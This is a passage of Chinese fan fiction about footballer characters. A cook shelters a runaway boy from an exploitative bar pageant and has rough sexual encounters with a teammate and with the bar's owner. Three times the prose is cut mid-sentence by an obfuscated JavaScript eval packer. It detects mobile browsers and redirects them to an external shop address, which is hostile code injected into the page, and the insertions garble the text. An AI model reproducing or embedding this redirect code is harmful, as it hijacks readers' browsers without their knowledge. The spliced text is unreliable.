“臭小鬼,你们不能就这样走了,今晚的奖金你一分都拿不到,别忘了你还签了协议!” 只穿着一条泳裤的托马斯拉住克里奇利的手就往外跑,跑着跑着就变成克里奇利单手拎着他往外跑,还不忘从门口的存衣处拿上自己的皮衣给他裹上,然后一路跑到停车场,发动起汽车。 这一切疯狂的举动导致肾上腺素飙升,就跟被人追杀了一样。克里奇利开着车带他离开鸟鸣,过了好一会才开口问他:“你到底捅了多大的篓子?我们为什么要跑?” 托马斯把脸埋在大衣领子里,不敢出声。 “别给我装哑巴,把事情说清楚,不然我现在就送你去警局,嗯?汤姆明戈?” “托马斯.多明戈斯,我没有骗你。” “跑能解决问题吗?” “至少今天不用留下黑历史,不然我出名了以后,这些都能成为杀死我的理由。” “oh my god,你还想着出名呢,你今晚差点就羊入虎口了你知道吗?如果你被当众教训留下影像,再被一群老变态带回家虐待,你永远都别想拥有自由,还出名,死了都不一定有真实的姓名。” “我…我只是想通过这种方式找到我叔叔,就算找不到,也可以赚点钱!只是…唉…你的手表,我本来想着今晚赢了以后把它赎回来还你的,虽然不是特别贵,也值点钱,至少值1000块的报名费。” 要不是在驾驶,克里奇利真想给他一脚,气的他都快找不到回家的路了。 憋着一肚子火,他还是把这个身无分文,浑身青一块紫一块还没有衣服穿的小鬼带回了家。 他也不是非要做这个好人,只是事情太过突然,每次考验他的认知时都迫使他做出拉他一把的决定,他在想,如果他不管,这孩子可能会客死他乡,如果他管,会不会像他老爹似的自己当婊子还立牌坊,不许儿子坚持性取向,最后收不了场一走了之撒手不管了。 他把托马斯按在餐桌前的椅子上,照例倒了一杯温水给他,拿了一件干净的T恤让他穿上,然后表情严肃的审讯他,谁叫他偷了自己的手表,在了解清楚后再决定是否把他送到警局。 托马斯老实了,他如实交代了整件事情的来龙去脉。 他说:“叔叔说去年他捧红了巴西的费尔南德斯,今年希望可以捧红我。他带我来英国参加世界先生选美,名字都报上去了,钱也交了,但是现在他突然不见了,我的护照在他那里,我不知道该怎么办,我需要找到他,不然我会被遣送回国,一旦我回国,别说明星梦破碎了,我会被我那恶毒的养父母送去窑子卖身。” “你叔叔到底是什么人?” “一个白人,和你差不多大,比你老点,我不知道,他让我喊他叔叔。” “你再说老这个字试试!” “好我不说,你不喜欢,那我叫你哥。” “叫我克里奇利先生。” “好吧,克…克里奇利先生。” “怎么认识的?” “在餐厅打工认识的。” 克里奇利突然想到自己刚来伦敦时,也是被一个自称星探的男人搭讪,说带自己去好莱坞发展,他看着这个小脸精致有着南美人较深的轮廓和粗重眉毛的男孩,比当初瘦不拉几的自己好看多了。 没什么办法,他只好让他先住在这,等找到他叔叔再走。 但是让克里奇利睡不着觉的是,他说和刚才的酒吧经理签了协议,不服从安排要赔当晚竞价的十倍,他当晚荣膺桂冠,身价是4万。 克里奇利说,“他们敢要,我们就敢告他侵/犯未成年人权益。” 托马斯又跪下来哀求他,说不要,他不想被遣送回国。 这真的是一个超级无比巨大的trouble,克里奇利丢的可不仅仅是一块手表这么简单,他还想换个公寓,还上车贷呢,而他的阁楼还没卖出去,现在还是一个打工人,一下子拿出40万可不是什么轻而易举的事,况且,和他非亲非故,干嘛破费。 但他睡不着翻来覆去的想,如果这件事再从头发生一遍的话,自己还是会从岔路口上选择这一边,看来也许是上天注定他要在曼彻斯特背个包袱,他想起他师父曾说过,救人一命胜造七级浮屠,他不知道这样自己死后会不会上天堂,这 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一堆事,比如他出逃时所有的东西包括那张□□都在鸟鸣酒吧里,过期的护照在他叔叔那里,如果要找工作必须提供这两样证明,所以他只能暂时先留宿在克里奇利家里,什么都干不了。 这天,曼城要去都灵打客场,克里奇利跟车出差2-3天,再三叮嘱他不要出去惹事,还给他留了一些零花钱。 这场比赛是欧冠排位赛,对阵尤文图斯,曼城客场最近逆风开局成了家常便饭,输了不说,赛后德布劳内跟队医交流,迟迟没上车。 听格拉利什说,德布劳内腹股沟拉伤,坐私家车先回曼城了,不参加明天的新闻发布会和赛后活动了。 克里奇利想刚来的时候,他就没参加合训,看来是踢之前就伤了,怪不得他在场上频频出现小失误,还给人一种收着踢的感觉。 腹股沟拉伤虽然不是什么大伤,但也是让足球运动员感到头疼的常见伤,克里奇利问格拉利什,他不要紧吧,格拉利什笑他,怎么,要攻略我们家大猫了?他才不会理你呢,他要是想理你,早把你雇回家做饭做到你怀疑人生。” “哦?他倒是真的想这么做。” “那你可有的受了,这几场你没看见啊,我要是不退到中场去,但凡你吐他一个饼来试试,哈兰德都被他扭着耳朵恨不得生吃了。刚才我问他你不要紧吧,他说我传你的球劲儿小了吗?幸亏鲁本拉着我走,不然我就得被他逼着反复回忆那一个丢球。” “没事,杰克,你已经表现的很好了。”克里奇利扯了扯他的大衣领子,叫他先上车,鲁本在后面阴阳怪气的说了一句,“大厨,我饿了,别拿小狗饭糊弄我!” 克里奇利笑着上了车,他说格拉利什是小狗,自己又何尝不是狗狗呢,只是他是一只警惕性略强,嫉妒心略重的边牧罢了。 回城的时候,克里奇利接到德布劳内的电话。 他说:“克里奇利先生,我听说你按小时收费,我付双倍,今晚能过来一下吗?” “做饭还是?” “当然是做饭了,不然呢?” “我以为你要找人聊天。” “你还有这服务呢?” “嗯,聊天不收费,我还有其他功能,也不收费,你不要老是拿钱砸我行吗?” “没办法,我钱多花不出去,所以来吗?” “唉,谁叫你是大名鼎鼎的德布劳内先生呢,而且还是金发碧眼的白人男性,要命了! 26.第 26 章 克里奇利不想做圣人,他也不是什么圣人,他自诩为绝情的混蛋,想做就做,毫无良知和自责,这是他混圈的人设,一个白天衣冠楚楚晚上放飞自我的禽兽。 他一直没对德布劳内下手,不是因为他看不透,而是因为他确实有点敬畏他,而且他看得出来,德布劳内不太喜欢他,可能自己被他看出来是上述人设已经被他划为不着调那一类的。 现在突然让他登门拜访,是对他改观了还是单纯想要餐饮服务,他还有点拿不准。 德布劳内比赛输了以后,腹股沟又拉伤了,回家就想吃一份爽口的罗勒意面,结果他的厨师做出来的都不是内味儿,他一怒之下给厨师放了“大假”。 理疗师给他按摩他也烦,疼,无聊,位置尴尬。 他把家里所有的工人都遣散了,一个人躺在家里两米多长一米多宽的大沙发上,腿搭在实木茶几上,拿着手机给克里奇利发消息。 [回来别跟车了,坐飞机,再饿几个小时我就又低血糖了。] [凯文,到机场也要2个小时。] [谁让你叫我凯文的?] [我还没被你雇佣吧?要叫Sir吗?] [从你答应的那一刻,就是我的雇佣工了,周薪2万,叫Sir你不亏吧。] [我快到机场了,Sir.] 克里奇利是真的没骨气,2万被人包了,周薪啊,很多人一年都赚不到这个数。 但是让他真正动心的可不仅仅是英镑,是一直冷漠苛刻的比利时人难得向他发出了需要的声音。 回去以后,他第一时间打车去了德布劳内家。本来他应该晚上到,现在提前了半天,这提前的几个小时就消耗了某人一年的意面钱。 他钱多人傻,就好这一口,克里奇利才不管,能让他叫一声Sir的目前为止还没有,也是让他感受到他捡的小鹿为什么这么痴迷有钱叔叔了。 他打算先去伺候传闻中的大猫再回去看那只不听话的小鹿。 谁知刚进德布劳内的豪宅就接到小鹿打来的电话。 托马斯:“你什么时候回来?” 克里奇利:“怎么了?给你脖子上挂的大饼吃完了?” 托马斯:“不是,就是想你了。” 克里奇利:“……” 他刚要怼他我只是收留你并不想和你发展什么关系时,就撞进了一双水蓝色的眼睛里。 “业务这么忙?”德布劳内穿着一件宽大的白色T恤,灰色的长裤,慵懒的开门把他迎进来,他身上的寒气让德布劳内打了好几个喷嚏。 “对我过敏?”克里奇利开他玩笑。 “我一天没出门,外面很冷吗?” “冷。”克里奇利伸出一只手,想和他握个手,谁知他不识趣的打了他手一下,然后指了指他家的开放式厨房,“那天的意面再做一份吧。” 直白的指令,冷酷的表情,就好像约的上门来维修空调的,给钱干活少废话。 好吧,克里奇利心想,先征服你的胃,看你怎么装酷。 克里奇利脱了大衣,也脱了卫衣,只穿一件跨栏背心然后系上他的围裙。 德布劳内没想到他脱的怪利索,眨巴眨巴眼睛看着他在自己眼前走过去,健硕的手臂如刀削一般利落,腰间没有一点赘肉,肤色有晒过的痕迹,但是冬天穿的多捂的发红,他自己就是这样,一晒就红,运动也红,动不动就红。 他的到来让他家的温度立刻升高,热的德布劳内也想把T恤脱了,但他没穿背心索性放弃,他倒了两杯冰水,递给克里奇利一杯。 克里奇利接过来,喝了一口,皱了皱眉,说:“冷死了。” “冷你还脱?” “习惯了,我还没进屋就脱光呢。”他开始热锅起油,没用一刻钟就做好了一份罗勒鸡肉意面,他家没有松子,少了一点松香,他放了自带的神秘香料,刚要放进去,就被偷瞄他的德布劳内抓住了胳膊。 “放的什么?” “调料啊。” “真的是调料?不是什么上瘾的东西?” “哎哟,我天,德布劳内先生,这是我自制的五香粉,你闻闻。” 德布劳内凑过去闻了闻,“阿嚏!”他又被五香粉弄的打了两个喷嚏。 克里奇利把他推出去,告诉他:“你放心,我不会乱加东西的,我的食物比我安全多了。” 德布劳内坐在开放式厨房的条形餐桌旁,拄着下巴看着他把意面盛在盘子里,又用水果刀切了一个黄瓜花,好像在雕刻一个艺术品,专业用心的模样有点迷人。他突然觉得不是他的食物令人上瘾,而是他对待食物的态度和他做饭时的样子。 最后呈现在他面前的是一份色泽鲜亮,散发着浓郁的罗勒和黄瓜清香的意面,就像冬天的圣诞树,给寒冷的雪白增添一抹新绿。 他确实饿了,也不顾什么形象的,拿起叉子也不卷就直接往嘴里送,“嗯~”这是好吃的声音,克里奇利听了比他吃了还满足,他不看他吃,开始收拾他的厨房,像个主人一样熟练的归拢厨具和剩下的食材。 德布劳内看着他收拾,冷不防的又拿话揶揄他。 “怎么之前不答应,现在答应了呢,缺钱了?” 克里奇利转也没转身,手上动作没停,说了句,“谁跟钱有仇啊,不过,我这也不算溢价坑你,除了满足你的胃,也给你提供情绪价值,你说是不是?” “不过是一碗意面而已,提供什么情绪价值?” “稀缺性,满足你的预期和奇怪的癖好,难道不是情绪价值?” “你知道我什么预期,什么癖好?” “还没有我看错的人,德布劳内先生。” 克里奇利停下手中的动作,回头给了他一个勾人专用的眼神。 “叫我什么?”他脸色一沉。 “Sorry Sir.” 克里奇利觉得他气场过于强大,正把他的top体质一点一点的往下压。 他擦了擦手,走过去看着他把这一份意面吃完,接着从他的酒架上拿下来一瓶红酒,看了看他,他也没说什么,克里奇利就打开倒了两杯。 德布劳内也没拒绝,接过来,两人碰了一下杯,德布劳内抿了一口,而他一口干了,然后咂咂嘴,两眼放光,忍不住夸了一句,“我草,这什么酒,口感这么好。” “好酒可以满足你的情绪价值吗?克里奇利先生,你喝的是我的珍藏,3万一瓶的帕图斯。” “……!” 克里奇利点点头,认栽,他说,“你不早说,从我工资里扣吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505464|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 德布劳内笑笑,说:“你要是这样的话,给我打一个月工,还得倒找我钱。” “哈哈哈……” 克里奇利才不管,他叫他来的,平时他就这样随意,就像他那放肆的贴面礼一样,还管你珍藏不珍藏,再说刚才拿的时候他就默许了,喝了就漫天开价,真是老油条。 他自以为是的认为老油条无非是想拿钱砸他然后把他归为贪财好色的那一类人,好认证自己之前对他的看法是正确的。但现在着实手头有点紧,导致他对接下来的幻想都不自信了。 他本来打算满足了他的胃,再攻略他的城的。现在搞得好像跟卖完了艺又要卖身一样。 想了不过两秒,克里奇利就回归了本性,他早就知道这个故作高深的金发男人,实际上有个前男友,而那个前男友还恰好被他给阅过了。 他就是在马德里随便打了个野,而他是什么眼光,还能被那个老色批控了那么久,丢了名誉不说,大好的青春都葬送了,现在就知道挥霍,而且还霸道,在他这个大总攻面前硬要拿捏一把。 不仅有花钱瘾还有喜欢让人臣服的叫Sir的癖好,从外面还真看不出来。 管他那么多,金发男人就是傻白甜,花钱引狼入室,他要是不身体力行都不好意思拿他的钱。 克里奇利又喝了一杯价值3万的红酒,围裙一脱,绕到他身后,抬手就摸了他的脖子,托起他的下巴,俯身在他耳边释放自己的危险气息,“Sir,可以开始了吗?” 德布劳内被他这么一撩,心脏突突的跳,太久没有这么放肆的人敢这么张扬的试探他,而且这还不是试探,是笃定了他也是那类人,有着特殊癖好的那类人。 在克里奇利面前,一切伪装都将被一眼看穿,无论是深柜,泛性恋,gay,双性恋,猎奇者还有抖S抖M,通通在他出手时暴露的一清二楚。 因为在他面前想隐藏很难,他一般都主动放下身段,先用食物引诱,再温柔的露出象征着的地位和身份的犬齿,只为一点一点的征服猎物,让他们逐渐放松警惕自愿的打开自己。 可今晚还没分清到底谁才是盘中餐呢,德布劳内在他托住自己下巴的时候,一把抓住了他的头发,主动的撞上去,一个上抢动作,大腿卡进克里奇利的双腿之间,逼的他不得不节节败退,最终后背抵在他的书架上,书架上的书被他们撞的哗啦一声散落下来,克里奇利心想,这不会又是什么典藏吧。 克里奇利还从来没被这么凶悍的吻过,以前也不是没约过肌肉男,黑模,比他高大的也有,甚至还有干体力活的蓝领,没有人不被他充满着激情和力量的吻技征服,就连那个浑身是劲儿的朱贝林都被他循循善诱的一步步占有,他就像一个领航者,一个指挥家,在一场声势浩大的x事里主宰着所有走向,不容有失。 但现在,他被一个只管进攻不会让步的进攻中场给顶在书架上,一点余地都没有,他稍微动一下都感觉要随时没命。 他突然想到德布劳内在场上的那种压迫感,只要球在他脚下,就不会没有路线,而他出其不意的打门,往往极其刁钻又势大力沉的洞穿对手的大门,让对方来不及反应,甚至气急败坏的互相埋怨,怎么能这么大意。 现在,克里奇利只有一个预感,就是今晚要栽了。 27.第 27 章 他只好把手搭在德布劳内的腰上,来回摩挲几下,试图缓解他急不可耐的心情。 刚摸上一会,就被德布劳内一把抓住手腕,交叠举到他的头顶,凶悍掠夺的吻不见得有半分退让。 他是有多久没这么释放过了,一副要吃人的架势,搞得克里奇利都不会了,主要是被他的大腿死死卡住,力道恰好是一个男人所能承受的极限阈值,让他骑虎难下一时脱不开身,其实他也不想脱身,虽然被他吻的疾风骤雨的,还挺有成就感的。 毕竟这位高贵矜持的Sir以前都没拿正眼瞧过他。 越是禁欲冷脸越是自由奔放,很多人不了解他,总是觉得他在场上应该扮演什么角色,应该传出什么样的球来,事实上他很有主见,想象力也足够丰富,就像演而优则导,他已经懂得怎么运筹帷幄才能掌握更多主动权,毕竟他年纪在这摆着。 所以他偶尔踢出出其不意的路线时,被大家调侃这不是德布劳内的脚法,殊不知这是他发泄情绪和大胆尝试的举动,你需要适应他,而不是让他适应你。 克里奇利正想着怎么反客为主,德布劳内就把T恤脱了,拧成一股绳套在了克里奇利的脖子上。 大老虎吃饱了有力气,现在连厨子也要吃了。 他不由分说的扳过他的肩膀,勒住他的脖子,顶着他的后背一步一步把他“请”进了卧室。 克里奇利虽然被动但一点没害怕,让他叫Sir他就知道这人喜欢什么口,而且移步到卧室就好像到了他的主场,尽管被勒住命运的咽喉,也比被钉在书架上要好。 “你搞错了,凯文。” “嗯?”在没被允许的情况下,他又叫了一声凯文,显然触怒了这位摆开阵仗准备强攻的先生,他单手攥紧了T恤用力向后拉扯了一下。 “唔…”克里奇利仰起了头,发出一声难受的喉音,“我说Sir,你就不能让我继续为你服务吗?我是专业的。”他声线都被他勒的变了音。 “你当然可以为我服务,就是乖一点,别让我费劲。” “唉…”克里奇利摇摇头,看来他不是那么好说话,根本不听自己那一套。 那他对自己来硬的,就只好以暴制暴了,克里奇利向后一撅屁股,捞过他腋下就来了一个过肩摔,他看着宽大,实际是穿的宽松,脱了就是溜薄的身量和骨架,肌肉也不是很硬,他的核心力量主要在大腿上,失去重心之后也是难防抱摔。 克里奇利没给他喘气的时间,大腿一迈就跨坐在他身上,抓住他要揍人的手腕,压在他胸前,以胜者的姿态俯视着他,眉头一皱眼神闪过几分狠戾。 谁知德布劳内也不是吃素的,他脱衣服可不仅仅是要用衣服当道具,他脱衣服就是要告诉你热身完毕我要上了,就问你害不害怕。 对手看见他热身就慌,克里奇利可不知道,他看球晚,这几场他看到的德布劳内是挺霸气挺神勇的,那也不能逆反了肤白貌美大长腿的金发男在他眼里是受的刻板印象。 而且他白到发光,像镀了一层金的白奶酪,还散发着淡淡的木制琥珀的香水尾调味儿,视觉和嗅觉的冲击让克里奇利像吃了drug一样感到阵阵眩晕。 克里奇利今天有点累,刚才忙着给他做饭,自己没吃上一口,还喝了他珍藏多年的酒,这会又和他动用蛮力,确实有点不在状态,很快就又被他给掀翻在身侧。 “好好好,我怕了你还不行,搞得我都出汗了,先洗个澡吧?” 他提出缓兵之计。 德布劳内也出了一身汗,他踢个半场还没这么累呢,和他掰扯这几分钟就跟撸铁撸了半小时一样。 他同意先洗澡,夜还很长呢。 洗完澡以后,他突然温柔多了。 克里奇利躺在床上,脑袋在枕头上压了压,身子也在他的床上翻了翻,觉得零压床垫和枕头真是太舒服了,舒服到想搬回家,他说:“你的床真带劲,我都不想走了。” “那你今晚住这儿吧。”德布劳内趴在他身侧,抬手撩了撩他的眼睫毛,温柔的看着他,刚洗完澡的大猫看上去不那么凶了,跟刚才要吃人的大老虎判若两人。 克里奇利觉得是时候有所表现了,他再次抬手勾住了他的脖子,拉到脸前蹭了蹭他的嘴唇,张开嘴含住了他潮湿柔软的唇瓣,柑橘薄荷味的清香像一种信息素,引起他猎取的本性,攻略男人是他的天性,再强悍的男人也有脆弱的一面,他用尽温柔去取悦他的唇舌,试图融化他防备的铠甲。 不知道是出于什么原因,克里奇利总想多了解一些,他以前对待任何一个和他对上号的人都是一面之缘,约了以后不再有任何瓜葛,就算认识也不会使氛围变得奇怪,因为他把sex和love分的很清,除了n多年前他认识了一个神父,神父说可以帮他赎罪,给了他love and sex,他认为这是love,然而却看到神父一家三口其乐融融走在大街上装作不认识他时,他就再也不相信love了,也不让任何人做他的top。 但这次他反而想要知道,德布劳内在同性关系中是一个怎样的存在,是放不下旧情,还是一时兴起,亦或是对他感兴趣,他想知道。 他的吻骤然浓烈了几分,不仅仅是索取和逢迎,还带着些许迷惑人心的情感倾泻,吻过之后,他眼神迷离的问道:“Sir,你喜欢strike吗?(保龄球全中)” “我很少打保龄球。” “那种感觉,怎么说,就是击碎一切,打破你面前所有的屏障,一个不留,全部击倒,刷,砰,哗啦,过瘾!” “你想打保龄球?” “我想让你忘掉过去,放心的交给我,哪怕只有一次。” “我信任你,但我不。”他摇摇头,坚持自己的想法,“我的过去足以让我倒下,但我没有,因为我不征服它们,就要被它们征服,显然,我不乐意,所以你可以为我服务了吗?” “……” “我们伦敦有句话叫上门的都是客,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516385|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么对待客人的?” “那是你们伦敦,这是哪?宝贝儿?”说完他就低头温柔的亲了亲克里奇利的脸,又抬手拍了拍他的肩膀,比了一个转过去的手势。 克里奇利皱着眉看看他,倒不是害怕他,相比之前的暴力卡位和极限拉扯,现在他的眼睛里流露出一种深切的难以名状的欲/望,竟然让他像被下了药似的鬼使神差的转了过去,还心甘情愿的让他在上面。 完了以后,他怎么也想不明白,自己的底线呢?尊严呢?零封呢?玛德,什么都没了,被德布劳内一锅端了。 “Fuck!”他暗骂了一句,挣扎着爬起来,看着血色的面容稍微恢复常态的金发男人,突然悲从中来,他说:“我就让你这一次,德布劳内,再让我来这儿,你可得小心点。” 他开始穿裤子,但是明显的腿抬不起来,穿了半天也没蹬进去一条腿,德布劳内把他的裤子扯过来,问他,“确定不留宿?” “抬头不见低头见,你最好别惹我。” “哈哈哈…” 德布劳内把裤子扔给他,没管他,转身去了浴室,克里奇利穿好裤子,愤愤的又喝了一杯桌上的红酒,脚步深一脚浅一脚的离开德布劳内的豪宅。 回到家以后,他看见那个小家伙还没睡,趴在地上在看什么东西。 “回来了?”托马斯瞥了他一眼。 “看什么呢?”他走过去一看,原来是在看自己的相册。 “你好自恋哦,还洗照片,原来你不是孤寡老人,你还有朋友哪,什么时候带我去见见?” “见个屁!”克里奇利一把夺过来,啪的一声合上,然后塞到橱柜里。“你知不知道这是个人隐私。” “哈哈,隐私什么?洗出来不是叫人看的吗?再说什么都没露,不好看。” “滚去睡觉!” “怎么了嘛?几天没回来,一回来就这么大气,谁惹你了?” 托马斯贴上去,殷勤的给他捏肩膀。 克里奇利虽然一肚子火,也不好冲他发脾气,摆摆手说“我困了。” 接着脱了衣服上床睡觉了。这一宿他翻来覆去睡不着,脑海里一直浮现那个金发男人看似没用任何手段实际步步为营的轻松凌驾他的一幕幕。 其实,他从让自己叫他Sir的时候就在灌输一种不可以反抗他的意识,先是用了些力气控制,再放缓了节奏让他松弛下来,最后用一个哄骗的亲吻和手势占据了有力位置,这一切就像被洗脑了一样,但那些耳边的喘息,温柔的抚摸和一遍又一遍问他疼不疼的关切,让他莫名感到一种被怜爱被重视的感觉。 但这,不是自己一贯的品格吗? 他和德布劳内还没完,第二天他收到了德布劳内发的短信,问他:“怎么样,这周薪赚还是不赚?” 他出了一身冷汗,想想自己也是造了孽,就当还情债了,让德布劳内捡了大便宜,也不便宜,他还很贵呢,不贵的德布劳内也看不上眼啊。 28.第 28 章 他把手机一扔,沉默了。 满脑子都是昨晚被老虎按在爪子底下吃抹干净的画面,自己还把他家的床单弄脏了。 “oh my goodness…fffff…”他把头藏在枕头底下,在床上扭成一条蠕虫。 他祈祷伦敦小分队千万别给他打电话,就当他不存在,以后都别联系,他没脸回伦敦了。 这时,一缕蒜香黄油味混着奶油咖啡的香气飘到了他的鼻尖下,他支起身子看向厨房的方向,惊现小鹿在厨房乱撞的身影。 我天,他别把厨房点了。 克里奇利一个激灵翻下床来,一边穿上长睡衣一边向厨房走去。 他走进厨房先把火关了,又看了一眼冒着烟的平底锅,再把厨师刀从托马斯的手里夺过来,凶巴巴的对他说,“你想在我睡觉的时候暗杀我吗?” 话还没说完,一个咖啡杯就怼到了他的唇边,咖啡上的奶油泡蹭到了他的嘴角,他舔了舔,“嗯,咖啡的味道还不错。” 托马斯开心的笑了笑,露出一排整齐的小白牙,还有两个尖尖的犬齿,让克里奇利觉得他不是温顺的小鹿而是调皮捣蛋的小狗。 托马斯咬了两口面包,忍着烫口啜了一小口咖啡,就穿上衣服准备出门。 “你去哪儿?” “去找工作呀,我想把手表赎回来给你。” 他不惹事就是对他最大的报答了,克里奇里眨了眨他那清晨带着墨绿色光辉的眼睛,有些欣慰的点了点头,走过去拍了拍他的肩膀,说:“你去找什么工作?” “你留下的零花钱我没花,我打算去市场进点三明治拿到学校门口去摆小摊。” “呵…这么冷的天,你觉得学生们会买你那冰冻的三无产品吗?连你自己都是三无产品,无地址,无身份证,无护照还有一个假名字。” “哼,少瞧不起我,凭我这张脸,分分钟卖光。” 克里奇利摇了摇头,这孩子走到哪也忘不了自己有个盛世美颜,总想着靠它来吃饭。 “不要去鸟鸣,手表也不用赎。”他在他身后喊道,但那头小鹿就好像几天没出门一样很快就从他眼前跳进了曼彻斯特的迷雾里。 他走了以后,克利奇利也要去上班了。他突然想起来,还没给德布劳内回信息,怎么回啊,他第一次感到局促。 还是不能把自己变成一个矛盾体,他本来也不轻易把自己陷进一段感情的漩涡里,昨天只是一时大意,被狡猾的比人钻了空子而已,一点不耽误自己是妥妥的大猛1,今晚就去酒吧大杀四方去。 他拿起手机,打上了一行字,看也没看就点了发送。 过了一会,德布劳内回复了一个ok的表情。 他是这么说的:周薪诱人也不及你半分,Sir,等我客场出差回来,天天喂饱你,保证你的腹股沟跟铁打的一样再也没人能伤害你。” 他满意的揣好手机,吃了几口小孩做的香蒜黄油煎法棍,苦了吧唧但也透着点甜。想起自己小时候差点把厨房炸了,做出来一盘黑不溜秋的炸薯条,还自我安慰着爸妈一定会夸奖他知道做饭能养活自己了。结果他爸骂了他一句废物,啥也不是。他妈漠然的把薯条倒掉说跟你爸一个熊德行,只会制造麻烦。 他看着煎烤出黑边的面包干,嘴角蔓延起一丝苦涩,为什么不肯夸孩子一句做的很好,下次别做了之类的,专捡什么狠说什么呢。 自从在大街上捡回这只受伤的小鹿以来,他就背上了一种叫责任的东西,他在脑子里拼这个responsibility,拼了几遍念了几遍接着笑出声,很好,从伦敦来到曼彻斯特就是不一样,不仅学会了怎么拼写长单词还无端端生出了爹味儿。 所以他想到了鸟鸣还有一屁股事儿没解决,之前就有陌生号码打电话叫他去一趟,如果他不去,等托马斯去了可能就是另外的结果了。 这天下午下班,他雇了一个律师一个保镖和他一起去了“鸟鸣。” 实际上,谈判双方都有各自的弱点,鸟鸣负责人害怕他们告他侵害未成年人权益,而克里奇利又不敢报警让托马斯陷入无照拘留和遣送的困境。 一场黑白大戏即将上演。 鸟鸣的负责人抽着雪茄坐在类似一个地下室一样的阴暗潮湿的办公室里,旁边堆着一些骇人的男侗用品,身边还站两个舞男保镖,目光阴森的看着前来会面的“大家长”。 这样的谈判环境可能会吓哭一个未经世事的小男孩,对克里奇利来说,伦敦暗室的vip房间里的豪华装修比这要刺激的多。他淡定的解开自己的西装扣子,拖过一把椅子坐下来,等着对方先开口。 鸟鸣负责人是一个20来岁的富二代,搞砸了他爸的娱乐节目现在想展现一下自己成熟的谈判技巧,为俱乐部挽回颜面和损失,在克里奇利眼里,他就是一个搞不清楚主客位的小辣鸡。 他开门见山的说:“这个诈骗犯搅和了我的选美节目,让我损失了一大笔钱和客户,这是他的协议和当晚的影像资料还有他的□□破衣服手机,如果不赔我40万,我就只好把他送进jail里去。” 克里奇利淡定的说:“你这么做只会让我和你打一个持久的官司。” “你凭什么管他,我从他的手机里找到了他叔叔的电话,他叔叔都不管他,不交钱不拿东西甚至还把护照给了我们,已经逾期的护照会不会让他多拘留几天呢?要知道在那种地方比在我这‘工作’要辛苦的多,在我这他可以慢慢还清我的债,而在那里他连肥皂都不敢捡。” “你到底希望我管他还是不管他?”克里奇利听了有些生气,他叔叔到底是个什么样的人,怎么还能把护照随便给人,就是扔了也别给资本家啊,让他用来威胁托马斯给他“打工”吗?真是个好叔叔,怎么说呢,还给托马斯找了个接盘的下家,不过好消息是护照有了着落。 “你在他手机里的备注是一个好人,我希望你把他的欠款交了,然后把这些东西拿走,以后不要出现在我这里,当然,选美的话你可以来毕竟你成年了。” 这个负责人说着就坐在了办公桌上,凌空的单腿来回荡悠着,并递给克里奇利一根雪茄。 克里奇利笑笑没接,他说你们俩出去等我一会。 本来克里奇利想带着律师来搜集酒吧逼迫未成年人表演的证据,再想办法拿回属于托马斯的东西以及托马斯心心念念的要还他的手表,现在护照又落在这个人的手里,让他少了几分把握,但是这个20出头的小boss一个上桌的举动就暴露了他是个铁受,克里奇利不会看走眼,从自己一进门这个小男人目光就没从他的胸膛移开过。 果然,他也支走了身边的两个保镖。 保镖看了看克里奇利,目光充满了警告,克里奇利还浪荡的伸手摸了摸保镖带着纹身的花臂,目送他们出去,然后把房间落了锁,随手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544155|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关上了百叶窗。 铁链的响声,桌椅的晃动声,和着这个刚才还咄咄逼人的小伙的求饶声,在一场触发荷尔蒙的“打斗”中很快就明确了主客地位。 为了表示“诚意”,克里奇利还是给他开了一张支票,让他回去“交作业”,随后拿走了托马斯所有的东西,并且重新签了一份两清的字据。 走的时候,小伙捡起刚才激烈晃动时打翻在地上的名片,两根手指夹着放在唇边亲了一口然后缓缓塞进克里奇利的口袋里,说了句:“我希望咱俩还没两清,打给我。” 克里奇利笑笑说anytime. 与此同时,德布劳内在家发现了克里奇利落下的调料瓶子,而他正好要去俱乐部做康复训练,顺路给他送去。 他给克里奇利打电话,克里奇利正“忙”着没接,他就把车停在了他家对面的花坛附近,跟格拉利什停的位置一样,运气好的话半个小时内不拍照。 他按下了他家的单元门号码,咔哒一声开了门,这是在家呢,还不敢接我电话,德布劳内心想。 等他敲门时打开门的是一个漂亮的男孩子,黑发黑瞳,下身围着一个浴巾,看样子刚洗完澡,男孩开门一脸错愕,问他是谁,找谁。 他也梗了一下,说:“我找克里奇利先生,这是他家吗?”感到困惑的同时,心里还涌动着某种情绪。 克里奇利住进来的时候说过要在公寓里办party请大家来帮他温锅,因为他怕鬼。当时不知道谁还调侃了一句,你住12A又不是13,不知道怎么回事,就入了德布劳内的耳朵了。 